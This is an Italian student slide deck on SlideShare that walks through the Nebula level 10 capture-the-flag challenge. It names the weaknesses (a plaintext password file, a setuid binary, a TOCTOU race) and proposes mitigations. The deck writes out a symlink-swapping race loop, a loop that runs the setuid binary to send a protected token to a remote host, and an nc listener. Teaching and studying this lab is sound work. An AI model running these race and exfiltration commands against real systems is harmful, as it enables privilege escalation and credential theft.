SlideShare a Scribd company logo
Programmazione Sicura
Nebula: level 10
Salve!
Siamo Alfredo Biagio Sarno, Giorgio Vitiello e Antonio Fasulo
Oggi affronteremo la sfida riguardante Nebula:Level 10
2
● Introduzione
● Analisi del sorgente
● Obiettivo della sfida
● Strategie
● Individuazione delle debolezze
● Mitigazione delle debolezze
3
Indice
1.
Introduzione e codice
sorgente
Antonio Fasulo
Introduzione
● Nebula è una macchina Unix-like
che offre una serie di livelli, ognuno
dei quali è composto da una sfida
che deve essere vinta
● Durante la presentazione
tratteremo la sfida level10, con
l’obiettivo di catturare la bandierina
5
Level10
6
● Il binario setuid in /home/flag10/flag10 caricherà qualsiasi file
dato in input, purché soddisfi i requisiti della chiamata di
sistema access()
● Per risolvere questo livello, accedi come account level10 con la
password level10
● I file per questo livello sono disponibili in /home/flag10
7
Level 10
● Il programma che considereremo è level10.c e il
suo eseguibile ha il seguente percorso:
○ /home/flag10/flag10
8
level10.c
9
level10.c
10
level10.c
Obiettivi della sfida
● L’obiettivo è quello di recuperare una password (token)
aggirando il controllo di sicurezza del programma
/home/flag10/flag10
● Autenticazione come flag10
● Esecuzione di /bin/getflag per catturare la bandierina
11
Costruzione di un albero di attacco
12
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
Rottura password
● Se la password è scelta bene è difficile romperla
● Dunque la rottura della password non è una strada
percorribile
13
Richiesta password
● Potremo richiedere la password al legittimo proprietario
● Il proprietario non sarà disposto a darci la password
● Dunque, la richiesta della password non è una strada
percorribile
14
Aggiornamento dell’albero di attacco
15
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
I I
Fallimento della strategia
● Abbiamo visto che tale strategia non porterà a nessun
risultato
● Bisogna cercare altre soluzioni per ottenere la password
di flag10 e vincere la sfida
16
2.
Possibili strategie
Alfredo Biagio Sarno
Strategia alternativa
18
● Tramite i comandi
ls /home/level*
ls /home/flag*
possiamo controllare a quali cartelle
l’utente level10 può accedere
● Abbiamo accesso a due cartelle:
flag10 e level10
Strategia alternativa
● Una volta autenticati come level10,
osserviamo il contenuto delle cartelle
alle quali si ha accesso:
○ /home/flag10
○ /home/level10
● Da una prima analisi è possibile
constatare:
○ Il file flag10 possiede il setuid
acceso
○ All’interno della cartella level10 è
presente uno strano file chiamato
‘x’
19
File x
20
● Aprendo il file con nano è possibile
osservare che, dopo svariate righe
vuote, è visibile una stringa
● Possibile che sia la password di
flag10?
File x
21
Qui va inserito lo screen che
mostra il messaggio you’ve
succsfully….
● Proviamo ad accedere all’utente
flag10 tramite ssh
● Come password proviamo a
mettere la stringa trovata nella
slide precedente
File x
22
Qui va inserito lo screen che
mostra il messaggio you’ve
succsfully….
● Funziona, siamo riusciti a loggare
come utente flag10, proviamo a
digitare il comando ‘getflag’
● Sfida vinta, abbiamo raggiunto
l’obiettivo ! :)
Aggiornamento dell’albero di attacco
23
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
Visualizzare la
password nel file ‘x’I I
In rosso il percorso
dell’albero appena
esaminato
Secondo approccio
24
● Adesso dobbiamo fare i conti con il
nostro obiettivo morale, quindi
avanti con il secondo approccio,
dimentichiamoci del file ‘x’
● Abbiamo detto che:
○ L’utente level10 ha accesso
solo alle cartelle level10 e
flag10
Secondo approccio
25
● Provando ad avviare l’eseguibile
flag10, notiamo in output un avviso
che ci spiega ciò che questo file
può fare.
Secondo approccio
26
● Provando a leggere il file token con
il comando ‘cat’ ci accorgiamo di
non avere i permessi per poterlo
fare
● Solo l’utente flag10 può leggere il
file token
Secondo approccio
27
● Proviamo a dare in input
all’eseguibile flag10 il file token
seguito dall’indirizzo della
macchina host che dovrebbe
riceverlo.
● Ciò che otteniamo in output è un
avviso, non abbiamo accesso a
token.
Aggiornamento dell’albero di attacco
28
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
I I
Esecuzione di flag10
su input file token I
Funzione access()
● Dalla pagina del manuale, la
funzione access() verifica se il
processo di chiamata può
accedere al pathname del file
● Il controllo viene eseguito
utilizzando l’UID e GID reali del
processo chiamante, anzichè gli
ID effettivi come quando si
tenta effettivamente
un’operazione (e.g., open()), sul
file
29
Funzione access()
● Inoltre, nelle note del manuale vediamo
la seguente definizione:
○ “Usando access() per controllare se
un utente è autorizzato ad aprire
un file, prima che lo apra
effettivamente, crea un buco di
sicurezza, perché l’utente potrebbe
sfruttare il breve intervallo di
tempo tra il controllo e l’apertura
del file per manipolarlo”
30
Funzione open()
● Dentro l’if di access() troviamo la
funzione open()
● In sostanza, questo viene
chiamato TOCTOU bug, ovvero
“time-of-use to time-of-check”
● Questo bug potrebbe essere
utilizzato per una Race
Condition
31
TOCTOU Bug
● Nel catalogo delle debolezze tale bug corrisponde alla CWE-367, che
conferma quanto accennato prima
● Sostanzialmente il software controlla lo stato della risorsa prima di
utilizzarlo ma lo stato della risorsa può cambiare tra il controllo e l’uso
della stessa invalidando i risultati del check
32
33
Race Condition
● Fenomeno che si presenta nei sistemi concorrenti
● In un sistema basato su processi multipli il risultato finale
dell’esecuzione dei processi dipende dalla temporizzazione o
dalla sequenza con cui vengono eseguiti
● Esistono diversi algoritmi che prevedono la mutua esclusione
Idea
● Se riuscissimo a scambiare il file token con un file creato
ad-hoc durante il tempo che intercorre tra il check e
l’apertura, dovremmo essere in grado di inviare il token
con i privilegi di flag10, ottenendo in output il contenuto
● Proviamo!
34
Secondo approccio
35
● Proviamo a creare col comando
‘nano’ un file denominandolo
‘token’ all’interno di una cartella
temporanea ‘tmp’
● Come possiamo notare col
comando ‘cat’ abbiamo pieno
accesso ovviamente a tale file
Secondo approccio
36
● Se ho accesso al file token,
posso inviarlo attraverso flag10
alla macchina in ascolto sulla
porta 18211 come previsto dal
sorgente
Macchina personale
Macchina personale
Macchina Nebula
3.
Strategia, debolezze e
mitigazioni
Giorgio Vitiello
Idea
● Per poter effettuare uno scambio tra il token creato in
/tmp e il token di flag10, possiamo sfruttare i
collegamenti simbolici
● Un collegamento simbolico (symlink) indica un
particolare tipo di file che altro non è che un rimando ad
un altro file o directory
● Per creare un symlink usiamo il comando ln
38
Secondo approccio
39
Albero d’attacco - Passo 1
40
Symlink tra /tmp/token e
/home/flag10/token
while true; do ln -sf /tmp/token /home/level10/token; ln -sf /home/flag10/token /home/level10/token; done
&
Secondo approccio
41
Secondo approccio
42
Albero d’attacco - Passo 2
43
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
while true; do /home/flag10/flag10 /home/level10/token 192.168.1.2; done
Secondo approccio
44
Albero d’attacco - Passo 3
45
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
nc -lk 18221
Secondo approccio
46
Albero d’attacco - Passo 4
47
Ottenimento password
utente flag10
Login come
utente flag10
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
Secondo approccio
48
Albero d’attacco - Passo 5
49
Bandierina
Ottenimento password
utente flag10
Login come
utente flag10
Esecuzione diretta di
/bin/getflag
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
Secondo approccio
50
● Digitiamo il comando getflag
● Sfida vinta !
Albero d’attacco
51
Bandierina
Ottenimento password
utente flag10
Rottura
Password
Richiesta legittima
password
Login come
utente flag10
Esecuzione diretta di
/bin/getflag
Visualizzare la
password nel file ‘x’
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
I I
In rosso il percorso
dell’albero appena
esaminato
Debolezza #1
● Presenza del file x in level10 contenente la password in chiaro
● I permessi su tale file consentono a chiunque di poter
visualizzare il contenuto dello stesso
52
Debolezza #2
● Il binario /home/flag10/flag10 avendo il SETUID acceso da
la possibilità a un utente qualsiasi di poter accedere al token
contenuto in flag10
● Quindi deduciamo che c’è un elevazione dei privilegi
● CWE di riferimento: CWE-276 Incorrect Default Permission
53
Debolezza #3
● Le system calls access() e open() causano una falla di sicurezza
perché l’attaccante potrebbe sfruttare l’intervallo di tempo breve
tra il controllo e l’apertura del file per manipolarlo
● TOCTOU Bug
● CWE di riferimento: CWE-367 Time-of-check Time-of-use
(TOCTOU) Race Condition
54
Mitigazione #1
● Cancellazione del file x di proprietà level10
55
Mitigazione #2
● Spegnere il SETUID associato al file flag10
56
chmod u-s
/home/flag10/flag10
Spegnimento setuid
57
Spegnimento setuid
58
Spegnimento setuid
59
Spegnimento setuid
60
● Le race conditions TOCTOU sono difficili da eliminare
● Un modo per evitarli è utilizzare i file descriptors (fd) con
funzioni come fstat() e non utilizzare funzioni come
access()
Mitigazione #3
61
● La funzione stat() ritorna le informazioni sul file specificato
dal pathname
○ int stat(const char *file_name, struct stat *buf);
● La funzione fstat() è una funzione di libreria che recupera lo
stato di un file
○ int fstat(int fd, struct stat *buf);
Mitigazione #3
62
st_uid; user ID of owner
st_gid; group ID of owner
st_nlink; number of hard links
st_size; total size, in bytes
Grazie!
Domande?
Contatti:
g.vitiello24@studenti.unisa.it
a.sarno21@studenti.unisa.it
a.fasulo12@studenti.unisa.it 63

More Related Content

What's hot

Digital search tree
Digital search treeDigital search tree
Digital search tree
Mahmudul Hasan
 
Turing machine implementation
Turing machine implementationTuring machine implementation
Turing machine implementation
SinaRostami7
 
Intelligent Sudoku Solver
Intelligent Sudoku SolverIntelligent Sudoku Solver
Intelligent Sudoku Solver
Amrish Jhaveri
 
How to Unblock an ePass2003 Token
How to Unblock an ePass2003 TokenHow to Unblock an ePass2003 Token
How to Unblock an ePass2003 Token
Myesign
 
Chapter 11 pcp
Chapter 11 pcpChapter 11 pcp
Chapter 11 pcp
Hareem Aslam
 
Elgamal Şifreleme Algoritması
Elgamal Şifreleme AlgoritmasıElgamal Şifreleme Algoritması
Elgamal Şifreleme Algoritması
YaseminD1
 
Verilog 모듈 연결하기
Verilog 모듈 연결하기Verilog 모듈 연결하기
Verilog 모듈 연결하기
Jihyun Lee
 
Digital Search Tree
Digital Search TreeDigital Search Tree
Digital Search Tree
East West University
 
Lab 2-Simple Combinational Logic
Lab 2-Simple Combinational LogicLab 2-Simple Combinational Logic
Lab 2-Simple Combinational Logic
Katrina Little
 
And gate
And gateAnd gate
And gate
Anupam Narang
 
Theory of Computation Unit 3
Theory of Computation Unit 3Theory of Computation Unit 3
Theory of Computation Unit 3
Jena Catherine Bel D
 
Theory of Computation Basic Concepts and Grammar
Theory of Computation Basic Concepts and GrammarTheory of Computation Basic Concepts and Grammar
Theory of Computation Basic Concepts and Grammar
Rushabh2428
 
Logic simplification sop and pos forms
Logic simplification sop and pos formsLogic simplification sop and pos forms
Logic simplification sop and pos forms
Manesh T
 
Context free grammar
Context free grammarContext free grammar
Context free grammar
Ratnakar Mikkili
 

What's hot (15)

B tree long
B tree longB tree long
B tree long
 
Digital search tree
Digital search treeDigital search tree
Digital search tree
 
Turing machine implementation
Turing machine implementationTuring machine implementation
Turing machine implementation
 
Intelligent Sudoku Solver
Intelligent Sudoku SolverIntelligent Sudoku Solver
Intelligent Sudoku Solver
 
How to Unblock an ePass2003 Token
How to Unblock an ePass2003 TokenHow to Unblock an ePass2003 Token
How to Unblock an ePass2003 Token
 
Chapter 11 pcp
Chapter 11 pcpChapter 11 pcp
Chapter 11 pcp
 
Elgamal Şifreleme Algoritması
Elgamal Şifreleme AlgoritmasıElgamal Şifreleme Algoritması
Elgamal Şifreleme Algoritması
 
Verilog 모듈 연결하기
Verilog 모듈 연결하기Verilog 모듈 연결하기
Verilog 모듈 연결하기
 
Digital Search Tree
Digital Search TreeDigital Search Tree
Digital Search Tree
 
Lab 2-Simple Combinational Logic
Lab 2-Simple Combinational LogicLab 2-Simple Combinational Logic
Lab 2-Simple Combinational Logic
 
And gate
And gateAnd gate
And gate
 
Theory of Computation Unit 3
Theory of Computation Unit 3Theory of Computation Unit 3
Theory of Computation Unit 3
 
Theory of Computation Basic Concepts and Grammar
Theory of Computation Basic Concepts and GrammarTheory of Computation Basic Concepts and Grammar
Theory of Computation Basic Concepts and Grammar
 
Logic simplification sop and pos forms
Logic simplification sop and pos formsLogic simplification sop and pos forms
Logic simplification sop and pos forms
 
Context free grammar
Context free grammarContext free grammar
Context free grammar
 

Similar to Sfida CTF: Nebula Level10

unreal IRCd 3281
unreal IRCd 3281unreal IRCd 3281
unreal IRCd 3281
Salvatore Lentini
 
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...
caioturtle
 
Lezione 5: Socket SSL/ TLS
Lezione 5: Socket SSL/ TLSLezione 5: Socket SSL/ TLS
Lezione 5: Socket SSL/ TLS
Andrea Della Corte
 
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioni
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioniBackdoor Coding: Analisi di una semplice backdoor e prime applicazioni
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioni
Salvatore Lentini
 
Primi passi con la scheda BeagleBone Black
Primi passi con la scheda BeagleBone BlackPrimi passi con la scheda BeagleBone Black
Primi passi con la scheda BeagleBone Black
Open Makers Italy
 
14 Linux Network Tenet Ssh Ecc
14 Linux Network Tenet Ssh Ecc14 Linux Network Tenet Ssh Ecc
14 Linux Network Tenet Ssh EccMauro Ferrigno
 
Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...
Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...
Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...
caioturtle
 
TuxIsAlive
TuxIsAliveTuxIsAlive
TuxIsAlive
Claudio Mignanti
 
Sfdumper e cugini
Sfdumper e cuginiSfdumper e cugini
Sfdumper e cugini
denis frati
 
Accesso remoto al proprio computer in una rete eterogenea
Accesso remoto al proprio computer in una rete eterogeneaAccesso remoto al proprio computer in una rete eterogenea
Accesso remoto al proprio computer in una rete eterogenea
Giacomo Antonino Fazio
 
Utilizzo delle Smartcard su GNU/Linux
Utilizzo delle Smartcard su GNU/Linux Utilizzo delle Smartcard su GNU/Linux
Utilizzo delle Smartcard su GNU/Linux
alberto fiaschi
 
Programma il futuro : una scelta Open Source
Programma il futuro : una scelta Open SourceProgramma il futuro : una scelta Open Source
Programma il futuro : una scelta Open Source
NaLUG
 
Sfida CTF: Protostar Format Zero
Sfida CTF: Protostar Format Zero  Sfida CTF: Protostar Format Zero
Sfida CTF: Protostar Format Zero
Gianmarco Beato
 

Similar to Sfida CTF: Nebula Level10 (14)

unreal IRCd 3281
unreal IRCd 3281unreal IRCd 3281
unreal IRCd 3281
 
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...
 
Lezione 5: Socket SSL/ TLS
Lezione 5: Socket SSL/ TLSLezione 5: Socket SSL/ TLS
Lezione 5: Socket SSL/ TLS
 
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioni
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioniBackdoor Coding: Analisi di una semplice backdoor e prime applicazioni
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioni
 
Primi passi con la scheda BeagleBone Black
Primi passi con la scheda BeagleBone BlackPrimi passi con la scheda BeagleBone Black
Primi passi con la scheda BeagleBone Black
 
14 Linux Network Tenet Ssh Ecc
14 Linux Network Tenet Ssh Ecc14 Linux Network Tenet Ssh Ecc
14 Linux Network Tenet Ssh Ecc
 
Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...
Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...
Guida al Computer - Lezione 106 - Pannello di Controllo – Crittografia Unità ...
 
TuxIsAlive
TuxIsAliveTuxIsAlive
TuxIsAlive
 
Sfdumper e cugini
Sfdumper e cuginiSfdumper e cugini
Sfdumper e cugini
 
Accesso remoto al proprio computer in una rete eterogenea
Accesso remoto al proprio computer in una rete eterogeneaAccesso remoto al proprio computer in una rete eterogenea
Accesso remoto al proprio computer in una rete eterogenea
 
Hacking reti wireless
Hacking reti wirelessHacking reti wireless
Hacking reti wireless
 
Utilizzo delle Smartcard su GNU/Linux
Utilizzo delle Smartcard su GNU/Linux Utilizzo delle Smartcard su GNU/Linux
Utilizzo delle Smartcard su GNU/Linux
 
Programma il futuro : una scelta Open Source
Programma il futuro : una scelta Open SourceProgramma il futuro : una scelta Open Source
Programma il futuro : una scelta Open Source
 
Sfida CTF: Protostar Format Zero
Sfida CTF: Protostar Format Zero  Sfida CTF: Protostar Format Zero
Sfida CTF: Protostar Format Zero
 

More from Università Degli Studi Di Salerno

Presentazione Laurea Magistrale
Presentazione Laurea MagistralePresentazione Laurea Magistrale
Presentazione Laurea Magistrale
Università Degli Studi Di Salerno
 
Key reinstallation attacks forcing nonce reuse in wpa2
Key reinstallation attacks forcing nonce reuse in wpa2Key reinstallation attacks forcing nonce reuse in wpa2
Key reinstallation attacks forcing nonce reuse in wpa2
Università Degli Studi Di Salerno
 
Digital Forensics
Digital ForensicsDigital Forensics
Flyers
FlyersFlyers
Andrew File System
Andrew File SystemAndrew File System
CPU Scheduling
CPU SchedulingCPU Scheduling
Wireless Security
Wireless SecurityWireless Security
Sviluppo di un'app Android
Sviluppo di un'app AndroidSviluppo di un'app Android
Sviluppo di un'app Android
Università Degli Studi Di Salerno
 
CrowdMine
CrowdMineCrowdMine

More from Università Degli Studi Di Salerno (9)

Presentazione Laurea Magistrale
Presentazione Laurea MagistralePresentazione Laurea Magistrale
Presentazione Laurea Magistrale
 
Key reinstallation attacks forcing nonce reuse in wpa2
Key reinstallation attacks forcing nonce reuse in wpa2Key reinstallation attacks forcing nonce reuse in wpa2
Key reinstallation attacks forcing nonce reuse in wpa2
 
Digital Forensics
Digital ForensicsDigital Forensics
Digital Forensics
 
Flyers
FlyersFlyers
Flyers
 
Andrew File System
Andrew File SystemAndrew File System
Andrew File System
 
CPU Scheduling
CPU SchedulingCPU Scheduling
CPU Scheduling
 
Wireless Security
Wireless SecurityWireless Security
Wireless Security
 
Sviluppo di un'app Android
Sviluppo di un'app AndroidSviluppo di un'app Android
Sviluppo di un'app Android
 
CrowdMine
CrowdMineCrowdMine
CrowdMine
 

Sfida CTF: Nebula Level10

  • 2. Salve! Siamo Alfredo Biagio Sarno, Giorgio Vitiello e Antonio Fasulo Oggi affronteremo la sfida riguardante Nebula:Level 10 2
  • 3. ● Introduzione ● Analisi del sorgente ● Obiettivo della sfida ● Strategie ● Individuazione delle debolezze ● Mitigazione delle debolezze 3 Indice
  • 5. Introduzione ● Nebula è una macchina Unix-like che offre una serie di livelli, ognuno dei quali è composto da una sfida che deve essere vinta ● Durante la presentazione tratteremo la sfida level10, con l’obiettivo di catturare la bandierina 5
  • 6. Level10 6 ● Il binario setuid in /home/flag10/flag10 caricherà qualsiasi file dato in input, purché soddisfi i requisiti della chiamata di sistema access() ● Per risolvere questo livello, accedi come account level10 con la password level10 ● I file per questo livello sono disponibili in /home/flag10
  • 7. 7 Level 10 ● Il programma che considereremo è level10.c e il suo eseguibile ha il seguente percorso: ○ /home/flag10/flag10
  • 11. Obiettivi della sfida ● L’obiettivo è quello di recuperare una password (token) aggirando il controllo di sicurezza del programma /home/flag10/flag10 ● Autenticazione come flag10 ● Esecuzione di /bin/getflag per catturare la bandierina 11
  • 12. Costruzione di un albero di attacco 12 Bandierina Ottenimento password utente flag10 Rottura Password Richiesta legittima password Login come utente flag10 Esecuzione diretta di /bin/getflag
  • 13. Rottura password ● Se la password è scelta bene è difficile romperla ● Dunque la rottura della password non è una strada percorribile 13
  • 14. Richiesta password ● Potremo richiedere la password al legittimo proprietario ● Il proprietario non sarà disposto a darci la password ● Dunque, la richiesta della password non è una strada percorribile 14
  • 15. Aggiornamento dell’albero di attacco 15 Bandierina Ottenimento password utente flag10 Rottura Password Richiesta legittima password Login come utente flag10 Esecuzione diretta di /bin/getflag I I
  • 16. Fallimento della strategia ● Abbiamo visto che tale strategia non porterà a nessun risultato ● Bisogna cercare altre soluzioni per ottenere la password di flag10 e vincere la sfida 16
  • 18. Strategia alternativa 18 ● Tramite i comandi ls /home/level* ls /home/flag* possiamo controllare a quali cartelle l’utente level10 può accedere ● Abbiamo accesso a due cartelle: flag10 e level10
  • 19. Strategia alternativa ● Una volta autenticati come level10, osserviamo il contenuto delle cartelle alle quali si ha accesso: ○ /home/flag10 ○ /home/level10 ● Da una prima analisi è possibile constatare: ○ Il file flag10 possiede il setuid acceso ○ All’interno della cartella level10 è presente uno strano file chiamato ‘x’ 19
  • 20. File x 20 ● Aprendo il file con nano è possibile osservare che, dopo svariate righe vuote, è visibile una stringa ● Possibile che sia la password di flag10?
  • 21. File x 21 Qui va inserito lo screen che mostra il messaggio you’ve succsfully…. ● Proviamo ad accedere all’utente flag10 tramite ssh ● Come password proviamo a mettere la stringa trovata nella slide precedente
  • 22. File x 22 Qui va inserito lo screen che mostra il messaggio you’ve succsfully…. ● Funziona, siamo riusciti a loggare come utente flag10, proviamo a digitare il comando ‘getflag’ ● Sfida vinta, abbiamo raggiunto l’obiettivo ! :)
  • 23. Aggiornamento dell’albero di attacco 23 Bandierina Ottenimento password utente flag10 Rottura Password Richiesta legittima password Login come utente flag10 Esecuzione diretta di /bin/getflag Visualizzare la password nel file ‘x’I I In rosso il percorso dell’albero appena esaminato
  • 24. Secondo approccio 24 ● Adesso dobbiamo fare i conti con il nostro obiettivo morale, quindi avanti con il secondo approccio, dimentichiamoci del file ‘x’ ● Abbiamo detto che: ○ L’utente level10 ha accesso solo alle cartelle level10 e flag10
  • 25. Secondo approccio 25 ● Provando ad avviare l’eseguibile flag10, notiamo in output un avviso che ci spiega ciò che questo file può fare.
  • 26. Secondo approccio 26 ● Provando a leggere il file token con il comando ‘cat’ ci accorgiamo di non avere i permessi per poterlo fare ● Solo l’utente flag10 può leggere il file token
  • 27. Secondo approccio 27 ● Proviamo a dare in input all’eseguibile flag10 il file token seguito dall’indirizzo della macchina host che dovrebbe riceverlo. ● Ciò che otteniamo in output è un avviso, non abbiamo accesso a token.
  • 28. Aggiornamento dell’albero di attacco 28 Bandierina Ottenimento password utente flag10 Rottura Password Richiesta legittima password Login come utente flag10 Esecuzione diretta di /bin/getflag I I Esecuzione di flag10 su input file token I
  • 29. Funzione access() ● Dalla pagina del manuale, la funzione access() verifica se il processo di chiamata può accedere al pathname del file ● Il controllo viene eseguito utilizzando l’UID e GID reali del processo chiamante, anzichè gli ID effettivi come quando si tenta effettivamente un’operazione (e.g., open()), sul file 29
  • 30. Funzione access() ● Inoltre, nelle note del manuale vediamo la seguente definizione: ○ “Usando access() per controllare se un utente è autorizzato ad aprire un file, prima che lo apra effettivamente, crea un buco di sicurezza, perché l’utente potrebbe sfruttare il breve intervallo di tempo tra il controllo e l’apertura del file per manipolarlo” 30
  • 31. Funzione open() ● Dentro l’if di access() troviamo la funzione open() ● In sostanza, questo viene chiamato TOCTOU bug, ovvero “time-of-use to time-of-check” ● Questo bug potrebbe essere utilizzato per una Race Condition 31
  • 32. TOCTOU Bug ● Nel catalogo delle debolezze tale bug corrisponde alla CWE-367, che conferma quanto accennato prima ● Sostanzialmente il software controlla lo stato della risorsa prima di utilizzarlo ma lo stato della risorsa può cambiare tra il controllo e l’uso della stessa invalidando i risultati del check 32
  • 33. 33 Race Condition ● Fenomeno che si presenta nei sistemi concorrenti ● In un sistema basato su processi multipli il risultato finale dell’esecuzione dei processi dipende dalla temporizzazione o dalla sequenza con cui vengono eseguiti ● Esistono diversi algoritmi che prevedono la mutua esclusione
  • 34. Idea ● Se riuscissimo a scambiare il file token con un file creato ad-hoc durante il tempo che intercorre tra il check e l’apertura, dovremmo essere in grado di inviare il token con i privilegi di flag10, ottenendo in output il contenuto ● Proviamo! 34
  • 35. Secondo approccio 35 ● Proviamo a creare col comando ‘nano’ un file denominandolo ‘token’ all’interno di una cartella temporanea ‘tmp’ ● Come possiamo notare col comando ‘cat’ abbiamo pieno accesso ovviamente a tale file
  • 36. Secondo approccio 36 ● Se ho accesso al file token, posso inviarlo attraverso flag10 alla macchina in ascolto sulla porta 18211 come previsto dal sorgente Macchina personale Macchina personale Macchina Nebula
  • 38. Idea ● Per poter effettuare uno scambio tra il token creato in /tmp e il token di flag10, possiamo sfruttare i collegamenti simbolici ● Un collegamento simbolico (symlink) indica un particolare tipo di file che altro non è che un rimando ad un altro file o directory ● Per creare un symlink usiamo il comando ln 38
  • 40. Albero d’attacco - Passo 1 40 Symlink tra /tmp/token e /home/flag10/token while true; do ln -sf /tmp/token /home/level10/token; ln -sf /home/flag10/token /home/level10/token; done &
  • 43. Albero d’attacco - Passo 2 43 Symlink tra /tmp/token e /home/flag10/token Invio del symlink /home/level10/token alla macchina target while true; do /home/flag10/flag10 /home/level10/token 192.168.1.2; done
  • 45. Albero d’attacco - Passo 3 45 Visualizzazione della password sulla macchina di destinazione Symlink tra /tmp/token e /home/flag10/token Invio del symlink /home/level10/token alla macchina target nc -lk 18221
  • 47. Albero d’attacco - Passo 4 47 Ottenimento password utente flag10 Login come utente flag10 Visualizzazione della password sulla macchina di destinazione Symlink tra /tmp/token e /home/flag10/token Invio del symlink /home/level10/token alla macchina target
  • 49. Albero d’attacco - Passo 5 49 Bandierina Ottenimento password utente flag10 Login come utente flag10 Esecuzione diretta di /bin/getflag Visualizzazione della password sulla macchina di destinazione Symlink tra /tmp/token e /home/flag10/token Invio del symlink /home/level10/token alla macchina target
  • 50. Secondo approccio 50 ● Digitiamo il comando getflag ● Sfida vinta !
  • 51. Albero d’attacco 51 Bandierina Ottenimento password utente flag10 Rottura Password Richiesta legittima password Login come utente flag10 Esecuzione diretta di /bin/getflag Visualizzare la password nel file ‘x’ Visualizzazione della password sulla macchina di destinazione Symlink tra /tmp/token e /home/flag10/token Invio del symlink /home/level10/token alla macchina target I I In rosso il percorso dell’albero appena esaminato
  • 52. Debolezza #1 ● Presenza del file x in level10 contenente la password in chiaro ● I permessi su tale file consentono a chiunque di poter visualizzare il contenuto dello stesso 52
  • 53. Debolezza #2 ● Il binario /home/flag10/flag10 avendo il SETUID acceso da la possibilità a un utente qualsiasi di poter accedere al token contenuto in flag10 ● Quindi deduciamo che c’è un elevazione dei privilegi ● CWE di riferimento: CWE-276 Incorrect Default Permission 53
  • 54. Debolezza #3 ● Le system calls access() e open() causano una falla di sicurezza perché l’attaccante potrebbe sfruttare l’intervallo di tempo breve tra il controllo e l’apertura del file per manipolarlo ● TOCTOU Bug ● CWE di riferimento: CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition 54
  • 55. Mitigazione #1 ● Cancellazione del file x di proprietà level10 55
  • 56. Mitigazione #2 ● Spegnere il SETUID associato al file flag10 56 chmod u-s /home/flag10/flag10
  • 61. ● Le race conditions TOCTOU sono difficili da eliminare ● Un modo per evitarli è utilizzare i file descriptors (fd) con funzioni come fstat() e non utilizzare funzioni come access() Mitigazione #3 61
  • 62. ● La funzione stat() ritorna le informazioni sul file specificato dal pathname ○ int stat(const char *file_name, struct stat *buf); ● La funzione fstat() è una funzione di libreria che recupera lo stato di un file ○ int fstat(int fd, struct stat *buf); Mitigazione #3 62 st_uid; user ID of owner st_gid; group ID of owner st_nlink; number of hard links st_size; total size, in bytes